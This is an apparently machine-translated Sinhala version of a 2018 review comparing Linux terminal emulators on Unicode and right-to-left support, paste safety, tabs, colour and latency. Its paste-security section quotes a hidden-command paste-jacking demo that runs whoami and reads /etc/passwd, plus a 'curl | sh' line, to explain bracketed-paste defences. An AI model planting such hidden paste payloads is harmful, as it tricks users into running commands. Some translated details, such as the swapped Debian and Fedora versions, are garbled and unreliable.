පර්යන්ත ඉමුලේටර් පිළිබඳ දළ විශ්ලේෂණය

අපගේ පරිවර්තන කාර්යාංශයෙන් වචන කිහිපයක්: සාමාන්‍යයෙන් සෑම කෙනෙකුම නවතම ද්‍රව්‍ය සහ ප්‍රකාශන පරිවර්තනය කිරීමට උත්සාහ කරන අතර අපි ව්‍යතිරේකයක් නොවේ. හැබැයි Terminals කියන්නේ සතියකට සැරයක් update වෙන දෙයක් නෙවෙයි. එමනිසා, අපි 2018 වසන්තයේ දී ප්‍රකාශයට පත් කරන ලද ඇන්ටොයින් බියුප්‍රේගේ ලිපියක් ඔබ වෙනුවෙන් පරිවර්තනය කර ඇත: නවීන ප්‍රමිතීන්ට අනුව එහි සැලකිය යුතු “වයස” තිබියදීත්, අපගේ මතය අනුව, ද්‍රව්‍යයේ අදාළත්වය කිසිසේත් නැති වී නැත. මීට අමතරව, මෙය මුලින් ලිපි දෙකක මාලාවක් වූ නමුත්, අපි ඒවා එක් විශාල පෝස්ට් එකකට ඒකාබද්ධ කිරීමට තීරණය කළෙමු.

පරිගණක ඉතිහාසයේ ටර්මිනල් වලට විශේෂ ස්ථානයක් ඇත, නමුත් මෑත දශක කිහිපය තුළ චිත්‍රක අතුරුමුහුණත් සර්වසම්පූර්ණ වීමත් සමඟ විධාන රේඛාව සමඟ ජීවත් වීමට ඔවුන්ට බල කෙරුනි. ටර්මිනල් ඉමුලේටර් තමන්ගේම ආදේශ කළා දෘඪාංග සහෝදරයන්, එය, සිදුරු කාඩ්පත් සහ ටොගල් ස්විච මත පදනම් වූ පද්ධති වෙනස් කිරීමකි. නවීන බෙදාහැරීම් සියලු හැඩයන් සහ වර්ණවල විවිධ පර්යන්ත ඉමුලේටර් සමඟ පැමිණේ. බොහෝ දෙනෙක් තම සේවා පරිසරය විසින් සපයනු ලබන සම්මත පර්යන්තය සමඟ සෑහීමකට පත්වන අතර, සමහරු ආඩම්බරයෙන් ඔවුන්ගේ ප්‍රියතම කවචය හෝ පෙළ සංස්කාරකය ක්‍රියාත්මක කිරීමට සරල විදේශීය මෘදුකාංග භාවිතා කරති. නමුත්, මෙම ලිපියෙන් අප දකින පරිදි, සියලුම පර්යන්ත එකම රූපයේ නිර්මාණය කර නැත: ඒවා ක්රියාකාරිත්වය, ප්රමාණය සහ කාර්ය සාධනය අනුව බෙහෙවින් වෙනස් වේ.

සමහර පර්යන්තවල විස්මිත ආරක්ෂක සිදුරු ඇත, තවද බොහෝමයක් ටැබ් කරන ලද අතුරුමුහුණත සඳහා සහය දැක්වීමේ සිට ස්ක්‍රිප්ටින් දක්වා සම්පූර්ණයෙන්ම වෙනස් කාර්යයන් සමූහයක් ඇත. අපි වුවත් ඈත අතීතයේ ටර්මිනල් ඉමුලේටර් දෙස බැලුවා, මෙම ලිපිය 2018 දී භාවිතා කළ යුතු පර්යන්තය තීරණය කිරීමට පාඨකයන්ට උපකාර වන පෙර තොරතුරු යාවත්කාලීන කිරීමකි. ලිපියේ පළමු භාගය විශේෂාංග සංසන්දනය කරයි, දෙවන භාගය කාර්ය සාධනය ඇගයීමට ලක් කරයි.

මෙන්න මම සමාලෝචනය කළ පර්යන්ත:

මේවා නවතම අනුවාදයන් නොවිය හැකිය, මන්ද මම ලියන අවස්ථාව වන විට ස්ථාවර ගොඩනැගීම් වලට සීමා වී සිටි අතර, එය මට Debian 9 හෝ Fedora 27 මත නිකුත් කිරීමට හැකි විය. එකම ව්‍යතිරේකය වන්නේ Alacritty ය. එය GPU-වේගවත් පර්යන්ත වලින් පැවත එන අතර මෙම කාර්යය සඳහා අසාමාන්ය හා නව භාෂාවකින් ලියා ඇත - රස්ට්. මම මගේ සමාලෝචනයෙන් වෙබ් පර්යන්ත බැහැර කළෙමි (ඒවා ඇතුළුව ඉලෙක්ට්රෝන), මූලික පරීක්ෂණ ඔවුන්ගේ අතිශයින් දුර්වල කාර්ය සාධනයක් පෙන්නුම් කළ බැවිනි.

යුනිකෝඩ් සහාය

මම මගේ පරීක්ෂණ ආරම්භ කළේ යුනිකෝඩ් සහය ඇතිවය. පර්යන්තවල පළමු පරීක්ෂණය වූයේ යුනිකෝඩ් තන්තුව ප්‍රදර්ශනය කිරීමයි විකිපීඩියා ලිපි: "é, Δ, И, ke, م, ๗, あ, 叶, 葉 සහ 말." මෙම සරල පරීක්ෂණය මඟින් පර්යන්තය ලොව පුරා නිවැරදිව ක්‍රියා කළ හැකිද යන්න පෙන්වයි. xterm terminal අරාබි අක්ෂරය පෙන්වන්නේ නැත මතකය පෙරනිමි වින්‍යාසය තුළ:

පෙරනිමියෙන්, xterm සම්භාව්‍ය "ස්ථාවර" අකුරු භාවිතා කරයි, එය අනුව තාමත් ඒ විකී, "1997 සිට සැලකිය යුතු යුනිකෝඩ් ආවරණයක්" ඇත. අක්ෂරය හිස් රාමුවක් ලෙස දිස්වීමට හේතු වන දෙයක් මෙම ෆොන්ටයේ සිදුවෙමින් පවතින අතර එය අක්ෂර අකුරු ලකුණු 20+ දක්වා වැඩි කළ විට පමණක් අක්ෂරය නිවැරදිව දර්ශනය වීමට පටන් ගනී. කෙසේ වෙතත්, මෙම "නිවැරදි කිරීම" අනෙකුත් යුනිකෝඩ් අක්ෂර සංදර්ශකය බිඳ දමයි:

Debian 27 ට වඩා හොඳ ප්‍රතිඵල ලබා දුන් නිසා, සමහර පැරණි ටර්මිනල් (විශේෂයෙන් mlterm) අකුරු නිසි ලෙස හැසිරවීමට නොහැකි වූ බැවින්, මෙම තිරපිටපත් Fedora 9 හි ලබා ගන්නා ලදී. වාසනාවකට මෙන්, මෙය පසුකාලීන අනුවාද වල නිවැරදි විය.

දැන් බලන්න xterm හි රේඛාව පෙන්වන ආකාරය. මෙම සංකේතය සහ පහත සඳහන් සෙමිටික් බව පෙනේ qoph RTL style scripts වෙත යොමු වන්න (දකුණේ සිට වමට), එබැවින් තාක්ෂණික වශයෙන් ඒවා දකුණේ සිට වමට පෙන්විය යුතුය. ෆයර්ෆොක්ස් 57 වැනි වෙබ් බ්‍රව්සර් ඉහත රේඛාව නිවැරදිව හසුරුවයි. RTL පෙළෙහි සරල අනුවාදයක් වන්නේ "Сара"හෙබ්රෙව් භාෂාවෙන් (සාරා). ද්විපාර්ශ්වික පාඨ පිළිබඳ විකි පිටුව පහත සඳහන් දේ පවසයි:

“බොහෝ පරිගණක වැඩසටහන්වලට ද්විපාර්ශ්වික අකුරු නිවැරදිව පෙන්විය නොහැක. උදාහරණයක් ලෙස, "සාරා" යන හෙබ්‍රෙව් නාමය සමන්විත වන්නේ sin (ש) (දකුණු පසින් දිස්වන), පසුව resh (ר) සහ අවසානයේ ඔහු (ה) (වමේ දිස්විය යුතු)"

බොහෝ පර්යන්ත මෙම පරීක්ෂණය අසමත් වේ: Alacritty, VTE-ව්‍යුත්පන්න Gnome සහ XFCE පර්යන්ත, urxvt, st සහ xterm සංදර්ශකය "Sara" ප්‍රතිලෝම අනුපිළිවෙලින්, අප නම "Aras" ලෙස ලියා ඇති පරිදි.

ද්විපාර්ශ්වික පාඨවල ඇති තවත් ගැටලුවක් නම්, ඒවා කෙසේ හෝ පෙළගැස්විය යුතු වීමයි, විශේෂයෙන්ම RTL සහ LTR පෙළ මිශ්‍ර කිරීමේදී. RTL ස්ක්‍රිප්ට් ටර්මිනල් කවුළුවේ දකුණු පැත්තේ සිට ධාවනය විය යුතුය, නමුත් LTR ඉංග්‍රීසියට පෙරනිමි පර්යන්ත සඳහා කුමක් සිදු විය යුතුද? ඒවායින් බොහොමයක් විශේෂ යාන්ත්‍රණයක් නොමැති අතර සියලුම පෙළ වමට (කොන්සෝල් ඇතුළුව) පෙළගස්වයි. ව්යතිරේක වන්නේ pterm සහ mlterm වන අතර, ඒවා ප්රමිතීන්ට අනුකූල වන අතර එවැනි රේඛා නිවැරදිව පෙළගස්වයි.

ඇතුළත් කිරීමේ ආරක්ෂාව

මම හඳුනාගෙන ඇති ඊළඟ තීරණාත්මක ලක්ෂණය වන්නේ ප්‍රති-ඇතුළත් කිරීමේ ආරක්ෂාවයි. අක්ෂර වින්‍යාසය මෙවැනි බව බහුලව දන්නා නමුත්:

$ curl http://example.com/ | sh

කේත ක්‍රියාත්මක කිරීමේ තල්ලු විධාන වේ, පරිස්සමින් පරීක්ෂා කිරීමෙන් පසුව පවා වෙබ් බ්‍රව්සරයකින් පිටපත් කර ඇලවීමේදී සැඟවුණු විධාන කොන්සෝලයට රිංගා ගත හැකි බව ස්වල්ප දෙනෙක් දනිති. සත්‍යාපන අඩවිය Gianna Horna විධානය කෙතරම් අහිංසක පෙනුමක්ද යන්න විශිෂ්ට ලෙස පෙන්වයි:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

Horn ගේ වෙබ් අඩවියෙන් ටර්මිනලයට ඇලවූ විට එවැනි කරදරයක් බවට පත් වේ:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

එය ක්රියා කරන්නේ කෙසේද? අනිෂ්ට කේතය බ්ලොක් එකට ඇතුළත් කර ඇත , CSS භාවිතයෙන් පරිශීලකයාගේ දර්ශනයෙන් පිටතට ගෙන යනු ලැබේ.

වරහන් ඇලවීමේ මාදිලිය එවැනි ප්රහාරයන් උදාසීන කිරීම සඳහා පැහැදිලිවම නිර්මාණය කර ඇත. මෙම ප්‍රකාරයේදී, පර්යන්ත මඟින් පෙළෙහි සම්භවය ගැන කවචයට පැවසීමට අලවන ලද පෙළ විශේෂ ගැලවීමේ අනුපිළිවෙලක යුගලයක් තුළ වට කරයි. අලවන ලද පෙළෙහි අඩංගු විය හැකි විශේෂ අක්ෂර නොසලකා හැරිය හැකි බව මෙය කවචයට කියයි. ගෞරවනීය xterm වෙත ආපසු යන සියලුම පර්යන්ත මෙම විශේෂාංගයට සහය දක්වයි, නමුත් වරහන් ප්‍රකාරයේදී ඇලවීම සඳහා ටර්මිනලයේ ක්‍රියාත්මක වන කවචයෙන් හෝ යෙදුමෙන් සහය අවශ්‍ය වේ. උදාහරණයක් ලෙස, මෘදුකාංග භාවිතා කිරීම GNU කියවීමේ රේඛාව (එකම Bash), ගොනුවක් අවශ්‍යයි ~/.ආදාන:

set enable-bracketed-paste on

අවාසනාවන්ත ලෙස, Horn ගේ පරීක්ෂණ අඩවිය ද මෙම ආරක්‍ෂාව අකුරු හැඩතල ගැන්වීම හරහා මග හරින ආකාරය පෙන්වා දෙන අතර එය අකාලයේ බ්‍රැකට් මාදිලිය යෙදීමෙන් අවසන් වේ. මෙය ක්‍රියාත්මක වන්නේ සමහර පර්යන්ත ඒවායේ ඒවා එකතු කිරීමට පෙර ගැලවීමේ අනුපිළිවෙල නිවැරදිව පෙරීම නොකරන බැවිනි. උදාහරණයක් ලෙස, මගේ පරිගණකයේ නිවැරදි වින්‍යාසය සමඟ පවා කොන්සෝල් පරීක්ෂණ සාර්ථකව නිම කිරීමට මට නොහැකි විය. .inputrc ගොනුව. මෙයින් අදහස් කරන්නේ සහය නොදක්වන යෙදුමක් හෝ වැරදි ලෙස වින්‍යාස කර ඇති කවචයක් හේතුවෙන් ඔබට පහසුවෙන් ඔබේ පද්ධති වින්‍යාසය දූෂිත විය හැකි බවයි. දුරස්ථ සේවාදායකයන් වෙත පිවිසීමේදී මෙය විශේෂයෙන් අනතුරුදායක වේ, එහිදී සුපරීක්ෂාකාරී වින්‍යාස කිරීමේ කාර්යය අඩු පොදු වේ, විශේෂයෙන් ඔබට එවැනි දුරස්ථ යන්ත්‍ර බොහොමයක් තිබේ නම්.

මෙම ගැටලුව සඳහා හොඳ විසඳුමක් වන්නේ ටර්මිනලය සඳහා පේස්ට් තහවුරු කිරීමේ ප්ලගිනයයි urxvt, එය හුදෙක් නව රේඛා අඩංගු ඕනෑම පෙළක් ඇතුළු කිරීමට අවසර ඉල්ලයි. Horn විසින් විස්තර කරන ලද පෙළ ප්‍රහාරය සඳහා වඩා ආරක්‍ෂිත විකල්පයක් මම සොයාගෙන නැත.

ටැබ් සහ පැතිකඩ

දැන් ජනප්‍රිය අංගයක් වන්නේ ටැබ් කරන ලද අතුරු මුහුණතක් සඳහා සහය වීමයි, එය තවත් පර්යන්ත කිහිපයක් අඩංගු එක් පර්යන්ත කවුළුවක් ලෙස අපි අර්ථ දක්වමු. මෙම ශ්‍රිතය විවිධ පර්යන්ත සඳහා වෙනස් වන අතර, සම්ප්‍රදායික xterm අග්‍ර කිසිසේත්ම ටැබ් සඳහා සහය නොදක්වන නමුත්, Xfce Terminal, GNOME Terminal සහ Konsole වැනි වඩාත් නවීන පර්යන්ත අවතාරවලට මෙම ශ්‍රිතය ඇත. Urxvt ටැබ් සඳහාද සහය දක්වයි, නමුත් ඔබ ප්ලගිනයක් භාවිතා කරන්නේ නම් පමණි. නමුත් ටැබ් සහාය සම්බන්ධයෙන් ගත් කල, ටර්මිනේටර් අවිවාදිත නායකයා වේ: එය ටැබ් සඳහා සහය දෙනවා පමණක් නොව, ඕනෑම අනුපිළිවෙලකට පර්යන්ත සකස් කළ හැකිය (පහත රූපය බලන්න).

Terminator හි තවත් විශේෂාංගයක් නම්, මෙම ටැබ් එකට "කාණ්ඩ" කිරීමට සහ එකම යතුරු එබීම එකවර පර්යන්ත කිහිපයකට යැවීමට ඇති හැකියාව, එකවර බහු සේවාදායකයන් මත තොග මෙහෙයුම් සිදු කිරීම සඳහා අමු මෙවලමක් සැපයීමයි. සමාන අංගයක් Konsole හි ද ක්රියාත්මක වේ. වෙනත් පර්යන්තවල මෙම විශේෂාංගය භාවිතා කිරීමට, ඔබ වැනි තෙවන පාර්ශවීය මෘදුකාංග භාවිතා කළ යුතුය පොකුරු SSH, xlax හෝ tmux.

පැතිකඩ සමඟ යුගල වූ විට ටැබ් විශේෂයෙන් හොඳින් ක්‍රියා කරයි: උදාහරණයක් ලෙස, ඔබට විද්‍යුත් තැපෑල සඳහා එක් ටැබ් එකක්, කතාබස් සඳහා තවත් ටැබ් එකක් තිබිය හැක. මෙය Konsole Terminal සහ GNOME Terminal මගින් මනාව සහය දක්වයි. දෙකම සෑම ටැබයකටම ස්වකීය පැතිකඩක් ස්වයංක්‍රීයව දියත් කිරීමට ඉඩ සලසයි. Terminator ද පැතිකඩ සඳහා සහය දක්වයි, නමුත් ඔබ නිශ්චිත ටැබ් එකක් විවෘත කරන විට ඇතැම් වැඩසටහන් ස්වයංක්‍රීයව දියත් කිරීමට මට ක්‍රමයක් සොයාගත නොහැකි විය. අනෙකුත් පර්යන්තවල "පැතිකඩ" යන සංකල්පය කිසිසේත් නැත.

රෆල්ස්

මෙම ලිපියේ පළමු කොටසේ මම අවසන් වරට ආවරණය කරන්නේ පර්යන්තවල පෙනුමයි. උදාහරණයක් ලෙස GNOME, Xfce සහ urxvt විනිවිදභාවය සඳහා සහය දක්වයි, නමුත් මෑතදී පසුබිම් රූප සඳහා සහය අතහැර දමා ඇත, සමහර පරිශීලකයින්ට ටර්මිනලය වෙත මාරු වීමට බල කරයි. ටීලික්ස්. පුද්ගලිකව, මම ඒ ගැන සතුටු වන අතර එය සරලයි X සම්පත්, එය urxvt සඳහා පසුබිම් වර්ණවල මූලික කට්ටලය සකසයි. කෙසේ වෙතත්, සම්මත නොවන වර්ණ තේමාවන් ද ගැටළු ඇති කළ හැකිය. උදාහරණ වශයෙන්, සූර්යකරණය වැඩ කරන්නේ නැහැ යෙදුම් සමඟ htop и IPTraf, ඔවුන් දැනටමත් ඔවුන්ගේම වර්ණ භාවිතා කරන බැවින්.

මුල් VT100 පර්යන්තය වර්ණ සඳහා සහය නොදැක්වූ අතර නව ඒවා බොහෝ විට වර්ණ 256 ට සීමා විය. ඔවුන්ගේ පර්යන්ත හැඩගස්වන උසස් පරිශීලකයින් සඳහා, ෂෙල් ප්‍රේරක හෝ තත්ව තීරු සංකීර්ණ ආකාරවලින් කරදරකාරී සීමාවක් විය හැකිය. සාරාංශය "සැබෑ වර්ණ" සහය ඇති පර්යන්තවල ලුහුබැඳීම. st, Alacritty සහ VTE-පාදක පර්යන්ත සත්‍ය වර්ණයට මනාව සහය දක්වන බව මගේ පරීක්ෂණ මගින් තහවුරු වේ. මේ සම්බන්ධයෙන් අනෙකුත් පර්යන්ත ඉතා හොඳින් ක්‍රියා නොකරන අතර, ඇත්ත වශයෙන්ම, වර්ණ 256 ක් පවා නොපෙන්වයි. පහතින් ඔබට GNOME ටර්මිනල් වල සත්‍ය වර්ණ සහය දැකිය හැකිය, ඔවුන්ගේ 256 වර්ණ මාලාව සමඟින් මේ සඳහා හොඳ කාර්යයක් කරන st සහ xterm සහ urxvt, පරීක්ෂණයෙන් අසමත් වීම පමණක් නොව, ඒවා වෙනුවට ඇසිපිය හෙළන අක්ෂර කිහිපයක් පවා පෙන්වයි.

සමහර පර්යන්ත සබැඳි ක්ලික් කළ හැකි බවට පත් කිරීම සඳහා URL රටා සඳහා පෙළ විශ්ලේෂණය කරයි. මෙය සියලුම VTE-ව්‍යුත්පන්න පර්යන්ත සඳහා අදාළ වන අතර, urxvt හට ක්ලික් කිරීමකින් හෝ යතුරුපුවරු කෙටිමං භාවිතයෙන් URL පරිවර්තනය කරන විශේෂ ප්ලගිනයක් අවශ්‍ය වේ. මම පරීක්‍ෂා කළ අනෙකුත් පර්යන්ත වෙනත් ආකාරවලින් URL සංදර්ශන කරන්න.

අවසාන වශයෙන්, පර්යන්තවල නව ප්රවණතාවක් වන්නේ අනුචලන බෆරයේ විකල්පයයි. උදාහරණයක් ලෙස, st හට අනුචලන බෆරයක් නොමැත; පරිශීලකයා tmux වැනි ටර්මිනල් මල්ටිප්ලෙක්සර් භාවිතා කරනු ඇතැයි උපකල්පනය කෙරේ GNU තිරය.

Alacritty හි ද backscroll buffers නොමැත, නමුත් ඉක්මනින් එකතු වනු ඇත පරිශීලකයින්ගෙන් මෙම මාතෘකාව පිළිබඳ "පුළුල් ප්රතිචාර" හේතුවෙන් එහි සහාය. මෙම upstarts හැරුණු විට, මම ප්‍රතිලෝම අනුචලනය සඳහා ආධාරක සොයා ගත හැකි බව පරීක්‍ෂා කළ සෑම පර්යන්තයක්ම.

උප එකතුව

ද්රව්යයේ දෙවන කොටසෙහි (මුල් පිටපතේ මේවා එකිනෙකට වෙනස් ලිපි දෙකක් විය - දළ වශයෙන්. මාර්ගය) අපි කාර්ය සාධනය, මතක භාවිතය සහ ප්‍රමාදය සංසන්දනය කරන්නෙමු. නමුත් අදාළ සමහර පර්යන්තවල බරපතල අඩුපාඩු ඇති බව දැනටමත් අපට දැකගත හැකිය. උදාහරණයක් ලෙස, RTL ස්ක්‍රිප්ට් සමඟ නිතිපතා වැඩ කරන පරිශීලකයින්ට mlterm සහ pterm සලකා බැලීමට අවශ්‍ය විය හැකිය, මන්ද ඔවුන් අනෙක් ඒවාට වඩා සමාන කාර්යයන් හැසිරවීමට වඩා හොඳය. කොන්සෝල් ද හොඳින් ක්‍රියා කළේය. RTL ස්ක්‍රිප්ට් සමඟ ක්‍රියා නොකරන පරිශීලකයින්ට වෙනත් දෙයක් තෝරාගත හැක.

අනිෂ්ට කේත ඇතුළත් කිරීම් වලට එරෙහිව ආරක්ෂාව සම්බන්ධයෙන්, urxvt කැපී පෙනෙන්නේ මෙම ආකාරයේ ප්‍රහාරයන්ට එරෙහිව විශේෂ ආරක්ෂාවක් ක්‍රියාත්මක කිරීම නිසා, එය මට නිසැකවම පහසු බව පෙනේ. සමහර සීනු සහ විස්ල් සොයන අයට, කොන්සෝල් බැලීම වටී. අවසාන වශයෙන්, VTE යනු ටර්මිනල් සඳහා විශිෂ්ට පදනමක් බව සඳහන් කිරීම වටී, එය වර්ණ සහාය, URL හඳුනාගැනීම සහ යනාදිය සහතික කරයි. මුලින්ම බැලූ බැල්මට, ඔබේ ප්‍රියතම පරිසරය සමඟ එන පෙරනිමි පර්යන්තය සියලු අවශ්‍යතා සපුරාලිය හැක, නමුත් අපි කාර්ය සාධනය තේරුම් ගන්නා තෙක් මෙම ප්‍රශ්නය විවෘතව තබමු.

අපි සංවාදය දිගටම කරගෙන යමු

සාමාන්‍යයෙන්, පර්යන්තවල ක්‍රියාකාරිත්වය දුරදිග යන ගැටලුවක් ලෙස පෙනෙන්නට පුළුවන, නමුත් එයින් පෙනෙන පරිදි, ඒවායින් සමහරක් එවැනි මූලික වර්ගයේ මෘදුකාංග සඳහා පුදුම සහගත ලෙස ඉහළ ප්‍රමාදයක් ප්‍රදර්ශනය කරයි. මීළඟට අපි සාම්ප්‍රදායිකව “වේගය” (ඇත්ත වශයෙන්ම, මෙය අනුචලන වේගය) සහ ටර්මිනලයේ මතක පරිභෝජනය (මෙය දශක කිහිපයකට පෙර මෙන් අද තරම් තීරණාත්මක නොවන බවට අනතුරු ඇඟවීමක් සමඟ) සලකා බලමු.

ප්‍රමාදය

ටර්මිනල් ක්‍රියාකාරීත්වය පිළිබඳ සම්පූර්ණ අධ්‍යයනයකින් පසුව, මේ සම්බන්ධයෙන් වඩාත් වැදගත් පරාමිතිය වන්නේ ප්‍රමාදය (ping) බව මම නිගමනය කළෙමි. ඔහුගේ ලිපියේ "අපි සතුටින් මුද්රණය කරමු" Pavel Fatin විවිධ පෙළ සංස්කාරකවරුන්ගේ ප්‍රමාදය දෙස බැලූ අතර මේ සම්බන්ධයෙන් පර්යන්ත වේගවත්ම පෙළ සංස්කාරකයන්ට වඩා මන්දගාමී විය හැකි බව ඉඟි කළේය. අවසානයේ මගේම පරීක්ෂණ පවත්වා මෙම ලිපිය ලිවීමට මා පෙලඹවූයේ මෙම ඉඟියයි.

නමුත් ප්‍රමාදය යනු කුමක්ද සහ එය එතරම් වැදගත් වන්නේ ඇයි? ඔහුගේ ලිපියේ, ෆැටින් එය "යතුරක් එබීම අතර ප්‍රමාදය සහ අනුරූප තිරය යාවත්කාලීන කිරීම" ලෙස අර්ථ දක්වා ඇත. "මානව-පරිගණක අන්තර්ක්‍රියා සඳහා මාර්ගෝපදේශය", එහි සඳහන් වන්නේ: "පරිගණක සංදර්ශකයක දෘශ්‍ය ප්‍රතිපෝෂණ ප්‍රමාදය යතුරු ලියනයක හැසිරීමට සහ තෘප්තියට වැදගත් බලපෑමක් ඇති කරයි."

මෙම පිං තෘප්තියට වඩා ගැඹුරු ප්‍රතිවිපාක ඇති බව ෆැටින් පැහැදිලි කරයි: “ටයිප් කිරීම මන්දගාමී වේ, දෝෂ වැඩි වේ, ඇස් සහ මාංශ පේශි ආතතිය වැඩි වේ.” වෙනත් වචන වලින් කිවහොත්, විශාල ප්‍රමාදයක් ටයිප් කිරීමට හේතු විය හැකි අතර, එය මොළයේ අතිරේක සංජානන බරක් ඇති කිරීමට හේතු වන බැවින්, කේතයේ ගුණාත්මක භාවය අඩු විය හැක. නමුත් නරකම දෙය නම්, පිං "ඇස් සහ මාංශ පේශි ආතතිය වැඩි කරයි", එයින් ඇඟවෙන්නේ පෙනේ වෘත්තීය තුවාල වර්ධනය අනාගතයේදී (පෙනෙන විදිහට, කතුවරයා අදහස් කරන්නේ ඇස්වල මාංශ පේශි, පිටුපස, අත් සහ, ඇත්ත වශයෙන්ම, දර්ශනය - දළ වශයෙන්. මාර්ගය) පුනරාවර්තන ආතතිය හේතුවෙන්.

මෙම බලපෑම් සමහරක් දිගු කලක් තිස්සේ දැන සිටි අතර, ප්රතිඵල පර්යේෂණ, 1976 දී Ergonomics සඟරාවේ නැවත ප්‍රකාශයට පත් කරන ලද අතර, මිලි තත්පර 100 ක ප්‍රමාදයක් "ටයිප් කිරීමේ වේගය සැලකිය යුතු ලෙස අඩාල කරයි". වඩාත් මෑතකදී, GNOME පරිශීලක මාර්ගෝපදේශය හඳුන්වා දෙන ලදී පිළිගත හැකි ප්රතිචාර කාලය මිලි තත්පර 10 කින්, සහ ඔබ තවත් ඉදිරියට ගියහොත්, එසේ නම් Microsoft පර්යේෂණ මිලි තත්පර 1ක් සුදුසු බව පෙන්වයි.

ෆැටින් පාඨ සංස්කාරකවරුන් මත ඔහුගේ පරීක්ෂණ පැවැත්වීය; නමින් අතේ ගෙන යා හැකි උපකරණයක් නිර්මාණය කළේය ටයිපොමීටරය, මම ටර්මිනල් ඉමුලේටර් වල ping පරීක්ෂා කිරීමට භාවිතා කළෙමි. පරීක්ෂණය සමාකරණ ආකාරයෙන් සිදු කරන ලද බව මතක තබා ගන්න: යථාර්ථයේ දී, අපි ආදානය (යතුරු පුවරුව, USB පාලකය, ආදිය) සහ ප්රතිදානය (වීඩියෝ කාඩ් බෆරය, මොනිටරය) ප්රමාදය යන දෙකම සැලකිල්ලට ගත යුතුය. Fatin ට අනුව, සාමාන්ය වින්යාසය තුළ එය 20 ms පමණ වේ. ඔබට ක්‍රීඩා උපකරණ තිබේ නම්, ඔබට මෙම අගය මිලි තත්පර 3 කින් ලබා ගත හැකිය. අප සතුව දැනටමත් එවැනි වේගවත් දෘඩාංග ඇති බැවින්, යෙදුමට එහි ප්‍රමාදයක් එක් කිරීමට අවශ්‍ය නොවේ. Fatin ගේ ඉලක්කය වන්නේ යෙදුම් ප්‍රමාදය මිලි තත්පර 1 දක්වා ගෙන ඒම, නැතහොත් ඩයල් කිරීමකින් තොරව ලබා ගැනීමයි. මැනිය හැකි ප්රමාදය, කොහොමද ඉන්ටෙලිජේ අයිඩියා 15.

මගේ අත්හදා බැලීම ඔහුගේ පරීක්ෂණ සමඟ එකඟ වන බව පෙන්වීමට මගේ මිනුම්වල ප්‍රතිඵල මෙන්ම ෆැටින්ගේ සමහර ප්‍රතිඵල ද මෙන්න:

xterm සහ mlterm වැනි පැරණි වැඩසටහන් වල වඩා හොඳ ප්‍රතිචාර දැක්වීමේ කාලය මට තදින්ම වැදුණු පළමු දෙයයි. නරකම ලියාපදිංචි ප්‍රමාදය (2,4 ms), ඔවුන් වේගවත්ම නවීන පර්යන්තයට වඩා හොඳින් ක්‍රියා කළහ (st සඳහා 10,6 ms). කිසිදු නවීන පර්යන්තයක් මිලි තත්පර 10 සීමාවට වඩා අඩු නොවේ. විශේෂයෙන්ම, 2017 හි පළමු සමාලෝචනයේ සිට එහි ලකුණු වැඩි දියුණු වී ඇතත්, "පවතින වේගවත්ම පර්යන්ත ඉමුලේටරය" හිමිකම් පෑමට ඇලක්‍රිටි අසමත් වේ. ඇත්ත වශයෙන්ම, ව්යාපෘතියේ කතුවරුන් තත්ත්වය ගැන දැනුවත් සහ සංදර්ශකය වැඩිදියුණු කිරීමට කටයුතු කරමින් සිටී. Vim GTK3 භාවිතා කිරීම එහි GTK2 සහකරුට වඩා මන්දගාමී අනුපිළිවෙලක් බව ද සඳහන් කළ යුතුය. මෙයින් අපට GTK3 අතිරේක ප්‍රමාදයක් ඇති කරන බව නිගමනය කළ හැකි අතර, එය භාවිතා කරන අනෙකුත් සියලුම පර්යන්තවල (ටර්මිනේටර්, Xfce4 පර්යන්තය සහ GNOME පර්යන්තය) මෙය පිළිබිඹු වේ.

කෙසේ වෙතත්, වෙනස්කම් ඇසට නොපෙනේ. ෆැටින් පැහැදිලි කරන පරිදි, "එය ඔබට බලපාන ප්‍රමාදය ගැන ඔබ දැනුවත් විය යුතු නැත." සම්මත අපගමනය ගැන ද ෆැටින් අනතුරු අඟවයි: “ප්‍රමාදයේ (ජිටර්) කිසියම් බාධාවක් ඒවායේ අනපේක්ෂිත බව නිසා අමතර ආතතියක් ඇති කරයි.”

ඉහත ප්‍රස්ථාරය පිරිසිදු ඩේබියන් 9 (ස්ට්‍රෙච්) මත ගෙන ඇත i3 කවුළු කළමනාකරු. මෙම පරිසරය ප්‍රමාද පරීක්ෂණවල හොඳම ප්‍රතිඵල නිපදවයි. එය හැරෙන පරිදි, GNOME සියලු මිනුම් සඳහා 20 ms ක අතිරේක ping නිර්මාණය කරයි. මේ සඳහා විය හැකි පැහැදිලි කිරීමක් වන්නේ ආදාන සිදුවීම් සමමුහුර්තව සැකසීම සමඟ වැඩසටහන් තිබීමයි. ෆැටින් එවැනි අවස්ථාවක් සඳහා උදාහරණයක් සපයයි වැඩ කිරීම, සියලුම ආදාන සිදුවීම් සමමුහුර්තව සැකසීමෙන් ප්‍රමාදයක් එක් කරයි. පෙරනිමියෙන්, GNOME ද කවුළු කළමනාකරු සමඟ පැමිණේ මුටර්, එය ping වලට බලපාන සහ අවම වශයෙන් මිලි තත්පර 8ක ප්‍රමාදයක් එකතු කරන අමතර බෆරින් ස්ථරයක් නිර්මාණය කරයි.

අනුචලන වේගය

මීළඟ පරීක්ෂණය සාම්ප්‍රදායික "වේගය" හෝ "කලාප පළල" පරීක්ෂණයකි, එය තිරය මත විශාල පෙළ ප්‍රමාණයක් සංදර්ශන කරන අතරතුර ටර්මිනලයට පිටුවක් අනුචලනය කළ හැකි ඉක්මනින් මනිනු ලැබේ. පරීක්ෂණයේ යාන්ත්ර විද්යාව වෙනස් වේ; මුල් පරීක්ෂණය වූයේ seq විධානය භාවිතා කර එකම පෙළ තන්තුවක් ජනනය කිරීමයි. අනෙකුත් පරීක්ෂණ අතර තෝමස් ඊ. ඩිකීගේ (xterm නඩත්තු කරන්නා) පරීක්ෂණය ඇතුළත් වේ, එය නැවත නැවතත් සිදු කෙරේ terminfo.src ගොනුව බාගත කර ඇත. ටර්මිනල් කාර්ය සාධනය පිළිබඳ තවත් සමාලෝචනයක ඩෙන් ලූ සසම්භාවී බයිට් වල base32 කේතනය කරන ලද තන්තුවක් භාවිතා කරයි, එය cat භාවිතයෙන් පර්යන්තයට ප්‍රතිදානය කරයි. Luu එවැනි පරීක්ෂණයක් "යමෙකුට සිතාගත හැකි 